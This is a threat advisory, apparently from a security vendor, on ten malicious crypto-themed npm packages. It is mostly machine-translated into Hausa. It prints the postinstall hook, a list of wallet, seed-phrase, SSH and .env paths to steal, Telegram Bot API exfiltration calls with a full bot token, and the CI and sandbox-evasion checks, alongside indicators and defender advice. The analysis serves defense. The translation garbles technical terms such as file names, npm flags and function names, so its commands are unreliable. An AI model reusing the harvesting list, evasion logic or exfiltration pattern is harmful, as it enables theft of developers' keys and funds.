SeedSweep: Fakitin Crypto guda goma masu cutarwa

SeedSweep: Fakitin npm guda goma masu jigon Crypto waɗanda ke aiki ne kawai lokacin da babu wanda ke kallo

TL, DR

A ranar 9 ga Yuni 2026, wani asusun mawallafi na npm guda ɗaya, aicrypto-xzggg, an aika fakiti goma tare da sunaye masu ɗanɗanon crypto da Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, da kuma wasu shida.

Kowace fakiti tana gudanar da nauyin albashi iri ɗaya daga postinstall hook. On install, it checks whether it is running inside CI or a sandbox — if not, it reads wallet keystores, seed-phrase files, SSH keys, and .env files from across six blockchain ecosystems and transmits them to a Telegram bot.

Alamar da mai kare zai iya nema nan take ita ce lambar Telegram bot id 8227918239.

Tsanani: m — direct theft of signing keys and recovery phrases from wuraren aiki na masu haɓaka.

Harin: Yadda Yake Aiki

Kunshin suna tallata kansu a matsayin kayan aikin haɓaka blockchain. fakamari.json yana da ƙarancin girma kuma yana nuna zagayowar rayuwar shigarwar a rubutun:

{
  "name": "farming-tools-12",
  "main": "src/index.js",
  "scripts": { "postinstall": "node scripts/postinstall.js" },
  "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],
  "author": "Alex Smith",
  "license": "MIT"
}

rubutun/postinstall.js wani layi ne mai layi ɗaya wanda ke ɗaukar nauyin gaske: buƙatar(“../src/index.js”). Saboda postinstall yana aiki ta atomatik a lokacin npm shigarwa, babu buƙatar shigo da lambar daga mai haɓaka - sanya fakitin a cikin bishiyar dogaro ya isa don aiwatar da shi.

Sarkar kisa a ciki src/index.js matakai huɗu ne:

  1. Duba muhalli. Aikin tsaro yana yanke shawara ko mai masaukin ya yi kama da wakilin gini ko akwatin sandbox na bincike.
  2. Jinkiri. An jinkirta aiwatarwa a bayan wani saitaTimeout kusan daƙiƙa 7.4.
  3. Tarin. An yi tafiya a kan jerin walat, maɓalli, da hanyoyin fayil na sirri; fayilolin da ke akwai suna cikin layi.
  4. Fitar da ruwa. Ana aika fayilolin da aka yi layi zuwa bot ɗin Telegram, kafin a fara da saƙon taƙaitawa.

Jerin abubuwan da ake son tattarawa ya ƙunshi sarƙoƙi shida da kuma sirrin masu haɓaka manhaja. An rage:

~/.config/solana/id.json        ~/.ethereum/keystore
~/.solana/keypair.json          ~/.bitcoin/wallet.dat
~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore
~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519
./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt
./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

Jimilla hanyoyi ashirin da ɗaya. Shigarwar kundin adireshi kamar ~/.ethereum/maɓallin keystore an faɗaɗa su kuma kowane fayil da ke ciki yana cikin layi. Fitarwar tana amfani da Telegram Bot API kai tsaye - a aika Saƙo kira tare da mai masaukin baki da kuma taƙaitaccen fayil, sannan a aikaTakarda loda sassa da yawa don kowane fayil:

rubutu

POST https://api.telegram.org/bot<token>/sendMessage
POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

Saƙon taƙaitaccen bayani da lambar ta tattara ya fara ne da zaren zahiri MAI SATAR CRYPTO, sai sunan mai masauki, sunan mai amfani, sunan fakitin da ya samo asali, adadin fayiloli, da tambarin lokaci.

Me ke sabo a nan

Ba shine tsarin sata ba — Exfil daga npm na tushen Telegram postinstall hooks an tattake shi da kyau. Shi ne ƙofar aiwatarwa. Kafin yin wani abu, nauyin da aka ɗauka yana kiran aikin da ke dawowa gaskiya lokacin da mai masaukin baki ya yi kama da mai gudu na CI ko akwatin sandbox, kuma yana dawowa da wuri lokacin da ya yi:

rubutu

isTestEnvironment() is true when ANY of:
  - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set
  - env NODE_ENV in {test, development}
  - username/USER contains: runner, sandbox, test, docker,
    jenkins, gitlab, travis, circleci
  - hostname contains: sandbox, test, ci
  - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

Tsarin container-id regex shine sashin da aka fi sani: sunan mai masaukin baki mai haruffa 12 shine sifar da Docker ya sanya wa akwati, don haka nauyin da aka ɗauka yana ɗaukar "sunan mai masaukina yana kama da akwati na Docker" a matsayin dalilin da zai sa a bar shi ya huta. Idan aka haɗa shi da jinkirin daƙiƙa bakwai, ƙirar tana fifita aiki a kan ainihin wurin aiki na mai haɓakawa da kuma yin shiru a duk inda yake kama da bincike ta atomatik. Wannan ƙofar ita ce abin da ya danne siginar nazarin dynamic kuma ya kiyaye kwararar exfil mai tsauri a matsayin babban shaidar hukunci.

tafiyar lokaci

Kwanan wata (UTC)Event
2026-06-09 ~02:48An yi wa fakitin farko alama a cikin rukunin (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25An yiwa mambobi masu sigar girma alama (ethereum-kit-9 a 1.25.36, wallet-sdk-9 kuma 3.7.73)
2026-06-09 ~03:58–03:59An yiwa membobin ƙarshe alama (defi-tools-39 a 4.26.29, swap-sdk-87 a 4.63.78, farming-tools-12 kuma 4.68.54)
2026-06-09Duk goma da aka sanya sunayensu na mugunta kuma an ruwaito su don cire rajista

Duk goman sun bayyana a cikin kimanin mintuna saba'in, daidai da yadda aka buga rubutu guda ɗaya daga asusu ɗaya.

Alamomin Yarjejeniya

Alamomin hanyar sadarwa da ɗabi'a (an cire mai masaukin baki):

nuna alamadarajar
ƙarshen Exfilapi[.]telegram[.]org (Telegram Bot API)
Lambar sirrin bot ta Telegram8227918239
Alamar Bot8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
Lambar tattaunawar Telegram6433587894
Shigar da ƙugiyapostinstallscripts/postinstall.jssrc/index.js
Zaren alamaCRYPTO STEALER a cikin saƙon taƙaitaccen da aka tattara
Publisheraicrypto-xzggg (an aiko da imel ɗin vipsyria88@gmail[.]com, ba a tabbatar ba)

Fakiti da nau'ikan, kowannensu yana da SHA-256 nasa src/index.js nauyin biya (nauyin biyan kuɗi iri ɗaya ne a cikin aiki kuma ya bambanta ne kawai a cikin lakabin sunan fakitin da aka saka, don haka kowane hash ya bambanta):

html
PackageversionSHA-256 na src/index.js
farming-tools-124.68.54b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-874.63.789d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-394.26.29ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-93.7.73ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-91.25.36c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-11.0.01147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-41.0.093c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-91.0.0db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-71.0.059f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-01.0.0053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

Tambaya mai sauƙi ta farauta: bincika rajistan shiga da fayilolin makulli don kowane ɗaya daga cikin sunaye goma, kuma bincika zirga-zirgar waje don haɗi zuwa Telegram Bot API daga masu masaukin ginin ko masu haɓakawa waɗanda ba sa amfani da shi in ba haka ba.

Halayya da Ɗabi'un da Aka Lura

An buga dukkan fakiti goma ta asusun ɗaya, acrypto-xzggg, wanda imel ɗin da aka bayyana shine vipsyria88@gmail[.]comBa a tabbatar da adireshin imel da hanyar haɗin tushen ba a cikin bayanan rajista, kuma asusun yana da maki mara kyau sosai. Ba mu tabbatar da wanda ke gudanar da asusun ba.

Cikakkun bayanai guda biyu sun cancanci a raba su da duk wani da'awar asali. Na farko, fakamari.json marubuci karatun filin Alex Smith akan kowace fakiti, yayin da ainihin asusun bugawa shine acrypto-xzggg; filin marubucin an ayyana shi da kansa ta hanyar bayanai kuma ba ya kafa marubucin. Na biyu, lambobin sigar sun bambanta sosai - wasu membobi suna zaune a 1.0.0, wasu a 4.68.54 - wanda ya yi daidai da sake amfani da nauyin aiki guda ɗaya a cikin sunayen fakitin da aka ƙirƙira maimakon kiyaye ainihin tarihin fitarwa.

Halayyar ta kasance iri ɗaya a cikin rukunin: jerin hanyoyin da aka nufa iri ɗaya, lambar bot ɗin Telegram iri ɗaya da lambar hira iri ɗaya, ƙofar muhalli iri ɗaya, iri ɗaya MAI SATAR CRYPTO Alamar alama. Wannan daidaito shine mafi ƙarfi hanyar haɗi tsakanin fakitin. Siginar mai aiki iri ɗaya ce, ba asali ba.

Tasiri, Sauye-sauye & Jagora ga Masu Kare

Fuskar ta kasance ta zahiri. Mai haɓaka software wanda ya shigar da kowane ɗayan waɗannan fakitin a kan wurin aiki wanda ke ɗauke da walat ɗin software, fayil ɗin seed-phrase, ko maɓallin SSH yana sa a karanta kuma a aika waɗannan fayilolin daga mai masaukin baki cikin daƙiƙa kaɗan. Kalmomin dawo da bayanai da maɓallan sa hannu ba sa ƙarewa kamar yadda alamar zaman take yi; da zarar mnemonic.txt ko kuma Solana id.json Idan ya bar injin, kudaden da yake sarrafawa suna cikin haɗari har sai an motsa su. Haka kuma gudu ɗaya yana kamawa .env fayiloli, waɗanda ke ɗauke da maɓallan API da takaddun shaidar bayanai akai-akai.

Abubuwa biyu ne suka biyo bayan wannan rukunin. Na farko shine ci gaba da amfani da sunaye masu taken crypto da Web3 don jawo hankalin wasu masu sauraro - masu haɓaka waɗanda ke ajiye walat da maɓallai a kan injin da suka ɗora dogaro a kai. Na biyu shine girman gujewa sandbox a cikin nauyin lokacin shigarwa. Ƙofar da ke duba masu canjin yanayi na CI, sunayen masu amfani masu gudu, da sifar sunan mai masaukin Docker ƙoƙari ne na gangan don yin aiki daban-daban a ƙarƙashin bincike fiye da akan ainihin wurin aiki, kuma yana ɗaga sandar don gano abubuwa masu ƙarfi kawai.

Ga masu kare kai:

Shigarwa tare da an kashe rubutun ta hanyar tsoho. shigar npm –ignore-scripts, ko saita ignore-scripts=gaskiya in .npmrc, yana hana postinstall aiwatarwa; kunna rubutun kawai don takamaiman abubuwan da suka dogara da su da gaske.

Ajiye walat ɗin hannu da maɓallan hannu daga injinan gini da haɓakawa. Yi amfani da walat ɗin kayan aiki ko kuma mai masaukin sa hannu na musamman, wanda ba shi da dogaro.

Bi da .env, makullan ajiya, da fayilolin jumla iri a matsayin kayan ado na kambi. Bai kamata su taɓa zama a cikin kundin adireshi wanda shi ma wani abu ne na musamman ba. npm shigarwa itacen aiki.

Nemo hanyoyin haɗi zuwa Telegram Bot API daga CI da masu masaukin baki na masu haɓakawa. Yawancin yanayin gini ba sa taɓa kiransa; wanda ba zato ba tsammani ya faru, jim kaɗan bayan shigarwa, ya cancanci a bincika.

Manne da kuma bita kan abubuwan da suka dogara da su. Sabon fakiti mai sunan sirri na gama gari, postinstall ƙugiya, kuma babu hanyar haɗin ma'ajiyar da ta cancanci dubawa kafin ta shiga fayil ɗin makulli.

Sashen kaucewa kwantenar-id shi ma tunatarwa ne ga masu sharhi: nauyin da ake biya na lokacin shigarwa wanda ke tsayawa a cikin akwatin yashi ba shi da lahani, zaɓi ne. Bita mai tsauri na hanyar shigarwa ya kasance hanya mai aminci don ganin irin aikin da zai iya ƙin nunawa.

References

takardun shigarwa na npm - rubutun zagayowar rayuwa da –Salantar-rubutun- nassoshi don kashe shigarwa ta atomatik hooks. 

kayan aikin nazarin kayan aikin sca-tools-composition
Fifiko, gyara, da kuma kare haɗarin software ɗinka
Sami Asusunka Kyauta.
Babu katin bashi da ake bukata.

Tabbatar da Haɓaka Software da Isarwarka

tare da Xygeni Product Suite